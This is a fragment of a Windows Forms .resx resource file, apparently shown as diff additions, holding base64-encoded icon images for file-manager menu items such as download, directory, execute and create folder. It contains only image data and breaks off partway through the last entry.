+jhLaOssagtCsslgC/1iWwG0LmH1i+m8C1/mJCX6RspifSdyEgJdsYkrZ8lZZZdXdLULOAFyECd27
+6wVTAAAAAElFTkSuQmCCCw==</value></data><data name="imageList1.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAu
+MC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAA
+ACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkD
+AAAADwMAAACECgAAAk1TRnQBSQFMAgEBAwEAAeABAAHgAQABEAEAARABAAT/AQkBEAj/AUIBTQE2
+AQQGAAE2AQQCAAEoAwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYAB
+AAKAAgADwAEAAcAB3AHAAQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEA
+AykBAANVAQADTQEAA0IBAAM5AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8B
+AAHWAucBAAGQAakBrQIAAf8BMwMAAWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHM
+AgABMwH/AgABZgMAAWYBMwIAAmYCAAFmAZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgAC
+mQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHMAWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZ
+AgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEAATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8B
+MwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEzAWYCAAEzAWYBMwEAATMCZgEAATMBZgGZ
+AQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZAWYBAAEzApkBAAEzAZkBzAEAATMB
+mQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLMAQABMwHMAf8BAAEzAf8BMwEA
+ATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEAAWYBAAFmAQABZgEAAZkB
+AAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEAAWYBMwHMAQABZgEz
+Af8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZAWYBAAFmApkB
+AAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/AQABZgH/
+AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEAAZkB
+AAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
+ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwB
+AAKZAf8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIA
+AZkB/wEzAQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYB
+AAHMAQABmQEAAcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEz
+Af8BAAHMAWYCAAHMAWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwB
+mQEzAQABzAGZAWYBAAHMApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEA
+A8wBAALMAf8BAAHMAf8CAAHMAf8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwB
+AAEzAQAB/wEAAWYBAAH/AQABmQEAAcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEA
+Af8BMwH/AQAB/wFmAgAB/wFmATMBAAHMAmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkC
+AAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZAcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHM
+AWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEzAQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8B
+AAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFmAQABIQEAAaUBAANfAQADdwEAA4YBAAOW
+AQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHwAfsB/wEAAaQCoAEAA4ADAAH/AgAB
+/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/xUAAf8B7ARJAewB/wUAAfQBQwoVAUMB9CQAAf8BbQFP
+BHEBTwFtAf8EAAH0ARQBFQQUARUEFAFDAfQTAALZAdMF1AXOBAAB9AFJAnECSQJxAUkB9AQAAfQB
+FQNtAe8B7AFDA24BSwFDAfQSAAPZAdMF1AXOBAAB8wFJAnECSQJxAUkB8wQAAfQBFQEUAj8B6gFt
+BhUB9BIAA9kB0wXUBc4EAAHzAUkBcQFPAREBSQJxAUkB8wQAAfQBFQHqAUQBPwHpARUFEgEUAfQS
+AAPZAdMF1AXOBAAB8wFJAU8BSQFPAQ8BSQFPAUkB8wQAAfQBFQITAUMB6QFEAhQDEgEUAfQSAAPZ
+AdMF1AXOBAAB8wNJAU8ESQHzBAAB9AEUARIBEwHqAewBRAHvAQcB6gETARIBFAH0EgAD2QHTBdQF
+zgQAAfMDSQFPBEkB8wQAAfQBFAISAfEE8gHxAhIBFAH0EgAD2QHTBdQFzgQAAfMBSQJxAUkBEQFJ
+AUMBSQHzBAAB9AIUAe8B8gHwAusB8AHyAe8CFAH0EgAD2QHTBdQFzgQAAfMBSQJxAkkCcQFJAfME
+AAH0ARQBFQHxAfIB7ALtAewB8gHxARUBFAH0EgAD2QHTBdQFzgQAAfMBSQZxAUkB8wQAAfQBFAEV
+AfAB8gHtAuwB7QHyAfABFQEUAfQSAAPZAdMB1AHbA9QEzgUAAfQBEQZJAREB9AQAAfQBFAETAZIC
+8gL3AvIBkgETARQB9BIAAf8C2QHTAdsOAAH/Ae8E/wHvAf8FAAH0ARQBEgEUAbwE8gG8ARQBEgEU
+AfQlAAH/AQcB7AL3AewBBwH/BQAB9AIUARIBFAHsAgcB7AEUARICFAH0JQAB/wEHAesC7QHrAQcB
+/wUAAfQBQwEUARMBEgETAhQBEwESARMBFAFDAfQlAAH/AW0E9wFtAf8FAAH0AkMIFQFDARMB/xEA
+AUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAL/AfABDwGAAQECAAL/AeAB
+BwGAAQECAAHAAQEB4AEHAYABAQIAAYABAQHgAQcBgAEBAgABgAEBAeABBwGAAQECAAGAAQEB4AEH
+AYABAQIAAYABAQHgAQcBgAEBAgABgAEBAeABBwGAAQECAAGAAQEB4AEHAYABAQIAAYABAQHgAQcB
+gAEBAgABgAEBAeABBwGAAQECAAGAAQMB4AEHAYABAQIAAYMB/wHwAQ8BgAEBAgAC/wHwAQ8BgAEB
+AgAC/wHwAQ8BgAEBAgAC/wHwAQ8BgAEBGAAL</value></data><data name="unlockRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAPQMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAC30lEQVRoQ+2YTWsTQRjHpwdB1IP6BSxa0YsnKbQkhpAQ0jTafoUKPWu9aPsZ8tKbIHgU
+Dx6s2eTQakmkySYeAhbNZlM8VIwHL57US4sdZ5ZH2F2fRzPbJE4gP/jRdOZ5Zv/7NoGwfvKiZl8p
+mO0HhXp7u1C3bPH5u/CHYVr7wpdifG2jbl+Dcn0wzPfTRt0qG/U270nnZDohaP9/PGo2Txhm+2HB
+tI7QoH/TtH4K1yuV/ZOw3HDZrLfOi+AVNJySVvlZpXUGlh0O8spT4cWzvyX+Lsv3YWt397TRbJ4q
+NqzLhYa95LwbyN0S4ztyTVh+8MjHxh9CXMlOsWbdgBISWSNOYs/fL8ZyUDJY5Avrv4ri/9cblbdn
+oeSflKrvzondqepb46j0xr4OJYPjz93G6qiE/408CXEnP7jXEo/fJkwPBsPsXHUfUNrLY0NRbNhR
+/3ql6t5FmO4/8kvKc0Cxn8NUYOTj515T3IX7MNV/5C7iPphwGaZGA3G1PLuH3CphajQQob+5T2Do
+X0DHxR1eCsOjw8ifwOPn29wtDOvFYZulD1rs84HFuGZ2Dy2Wgpg0stDXqJOfICYN0qSVEJMGa9JJ
+iEmDNekkxKTBmnQSYtJgTToJMWm+lhnXWYhJgzXpJMSkwZp0EmLSYE2qfnk1wfOrk/zm3DS/Jcyv
+XnDGsFpVISYN1qTq+tokD4fDHuUYVqsqxKTBmlRdTM/wSCTicWF+Bq1VFWLSYE2qLsyHeDQa9biY
+DqG1qkJMmu5Txo9rZmWKx2Ixj9mVS2itqhCTBmtS9eOTCZ67N8Xj8bhjXnyWY1itqhCTBmsKaiKR
+cMTmggoxabCmoCaTSUdsLqgQkwZrCmoqlXLE5oIKMWmwpqDeWZrld2/PonNBhZg0WJNOQkyaWpZx
+nYWYNFiTTkJMGqxJJyEmDdakkxCTBmvSSYhJU82yLtaohZkeftiqZlhKy5MQ4XdybA5ijhkzxoGx
+X9DMOtZ3guAMAAAAAElFTkSuQmCCCw==</value></data><data name="downloadToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA+wEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABnUlEQVRoQ+2Uu0oDURRFx0cpvjKjYCFY+AU2FjZ+RCoLRW5GEPyGaKutX2FlIRYW3hu0
+sBQU/AFBECxFsTCewY2c4DaMDzIneBesIsmZw5pkcpNIJPK3ZI3Q7ibG7MKitRizC4vWYswuLFqL
+sUjkK9hjo8WYXVi0FmN2YdFajNmFRWsxFol8BXtstBizC4vWYswuLFqLMbuwaC3G7MKitRizC4vW
+YswuLFqLMbuwaC3GqiVt+H0W9xuLnVjfA+oHQ5kLRyzkJ0r8SdL0w9jeGya3LkbTRrhiQd/ShZux
+VT+Otb1l2rXm5Nu7p2Gl9A/pRpjHumrIcr+UuvDMA7vo/EstD8tYUy0Ss0Yjuyg3neNyG0jQHgtl
+yn9nF5cZotkelLBDFtyh88fFKYarbJFt+hH5JS5puCg3eF2cXhi3SW39fEaOxttP8S7cTeRnsxiz
+TepOF1LnHz/iG+FpyvlFfNwfZHmoyzn/WlhzrRW83V/IH3ZHbmAbL/uR9sC7kX+IPgItiKzysCVV
+iqzysCVViqzysCVViqxIJNJBkrwBwWG5kcE10YwAAAAASUVORK5CYIIL</value></data><data name="removeExclusionToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAXwMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAADFklEQVRoQ+2Wz0sUYRjH
+JfCgzqqHDjar0K0OniovbYTuzqxeOkS6uxp4tK6aq+EqeDT6A2qvdQiCsr+hX9AhvHgod8fAiASF
+kEIp0qdn6RFs+G7vzOPoetgPfC7L+M7ncd+Xdxvq1KkTHfPzdGo2TwPs49kpWi5M01YmR1vZYVrO
+jtCjTIb6K8/I4yeLwh26wtFLLB2U4/+RB3qfy9Fl+bPaMz5OTRy6UMjTrj++on8AGWIvm6Pi0BBZ
+skxtKEzSNY5c9UcfFA2wLw/ymbfWqCx3PBSL1Mj/7SzHv0HBflG4X95SrzLDlLk4Ro3ymsNT2RqF
+cYrPTFL3zBT1cfDEXJ5ecPwmCq0mCv6PG+wiOzGYo97rWermbRZnmyQrGBy5hmI0Hog7lJXtJnlm
+UIhWFKNV8sygEK0oRKvkmUEhWlGIVskzg0K0ohCtkmcGhWhFIVolzwwK0YpCtEqeGRSiFYVolTwz
+KEQrCtEqeWZQiFYUolXyzPBNvINiNKIQjXwTb0ueGR7gK4rRiGKUfpE8MzN5eodiNIIQlfwNvJU8
+M4UpKqIYjShGYyZLDyXPjNNPIymXKArjlheJtlXOSZ4Zx6G2pEM/UVBYUUx4S7/Oti+1S14wUg4t
+oqCw4qBwdljlZ5IVnHSarqKgsKKgsNqxckKywpF06TWKCiMKCqNtrb6UnPAkk3SBz8IuCgsqigrh
+bker1yM5OvgsFFFYUEFUGB9Ihh4+Cy2OSysoLoggKqAl79zpjZhkHI6BAerhmB1/XBBxnNHtrmbv
+krw+GvhyG0WBJkGcwdLemVbvprw2Wjhozh9oEkdWtzPm3ZXXHQ29Dt1HodVEkdXsbPHuyWuOFr4f
+plEsEoUi7Zi3IMsfD24/3Q5yR6DYfy39jlufbsmyx0sqTYM8xA8Uvi+O/qttlb53Wis3ZLna0Jum
+830pWkbxFVG4+LHLWuuWZWpLIkEx/iaehhjgSWSXVJS4Lg3xIJvVBrAt71vcKo/J4yeThEt2MkXP
+/QNUftN3NX+w5bGTDx9wlwdY54O6bretuvJxnTp1IqWh4Q9HZVSSSTSM8AAAAABJRU5ErkJgggs=</value></data><data name="upDownToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAlAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAPAAAADwIBgAAADr82XIAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAADNklEQVRoQ+2ZTUgUYRiAbXPLDAkkuxTqISpKCexQSJaJB7HAyhRXMzDJQ0UFEhV0UAIP
+qaEEEmSbO6tIInWICqEfwk6Gp9qkxA5KHtp+ZP+01u3tfd1vZBm+bHYtZvbb75GHHWeG/ebZWXfG
+b5MkEolEIpFI/oa3B3awxcTA74RZ9Dz7VXwCToAFFbg/MwDpbLW4LAajfgUmAw7YyzaJSWQwiw7i
+W7wJBmAl20UstMGqGP7c3wMb2W6x46qHpnf1AGaRF7uoAm5fLxxihx4bcRWM4pn+hY+d+LOaJUTH
+o4r3XbyBjVIb+EcVGJ1zwBaWoZ+4DUbxbHvRBpaij3gO9ikhL162almKPuI1eKrL/bF8d8U5TNgc
+LtFJvAXTh9Zw88iT9NT0E3j4x9DshRC9xFPwd/usp6W67Toetg0tQdOoIVpyUXoCU8gLJcc7plwF
+2wrPsP12oRY0Jkwd7HOE5h9feTaYYk2pwe1H0eXfbZmJyFh3t8/dePBSE66mF6MIXUP7CIUa+7Zt
+fGR7Zu4pXFWF0rtwBW0XDo8j+PPehQcOXKSzWoZm0HphseXXXqQHtABdRetEpxLdGl5MDNaxR4nk
+fwLdkOZ3ggIAYl4eIvE5IQ9v2j/Q9VHoYIqjSXF0Tr0hEDbY0wfrAwo8VEOFDp7thQMY+0kbK1ww
+vIBkmvTGv9d5XixJs5yuk9BsBsfqoZAdevQEHJCJscO8yEh5/7QbJb347PCjA0OP4Fv4Ky9QK29g
+o3xV87mVJegD7kIKRnRqo5aSN7BR0vQUS9EHntl+XtRS8gY2yqiDhxqH1rpuTPTTTCAvjidvYKOM
+OhjJR22txzvaZ+xzXl6gVt7ARhlLMH3nSjOAtqKc4rMTN6fHeJGR8gY2yliCVTah5TQzSDOEPiUU
+4sWS9tKng/YSc9i6v68ufPixkYoWo7bLZVevfbnj516mLBZLNe1jEmlyb1nQbSM9SdXO7LwGV/vE
+qDbYarXS9hyTuAH9J9ATHaaz6Tjdf9vTE/yhBgt1L62BvmHfh9poJnH61rdJ0YNV6OvIyqyMrLrX
+LW9eJkIwQTOJpSh9UCQMyeie8KJEIpFIJBLdJCX9Bsf2hOuklm+zAAAAAElFTkSuQmCCCw==</value></data><data name="directoryToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+PP8ADkjAc1nKTmAAAAAASUVORK5CYIIL</value></data><data name="excuteToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="createFolderToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAvQIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAKAAAACgIBgAAAIz+uG0AAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAACX0lEQVRYR+2XzW8SQRiH+WPU/0IPaq102wQ1MX4knvUM1KMfJK3AVmmChZsG462UamJN
+OBg81O7w0WBsY5pI7AHwoAlY8KtSXue33SVp+hpp6Ww97C95kg3vzM7DzM4seNy4+R8yfG+J+kWL
+GlNWN+eCgRc+dP9JevUXXYwvtzVd3Le6OpN+BcGhSO5FEDxdbpPvQaFjL7sqLL29CU7nPtOFWJFC
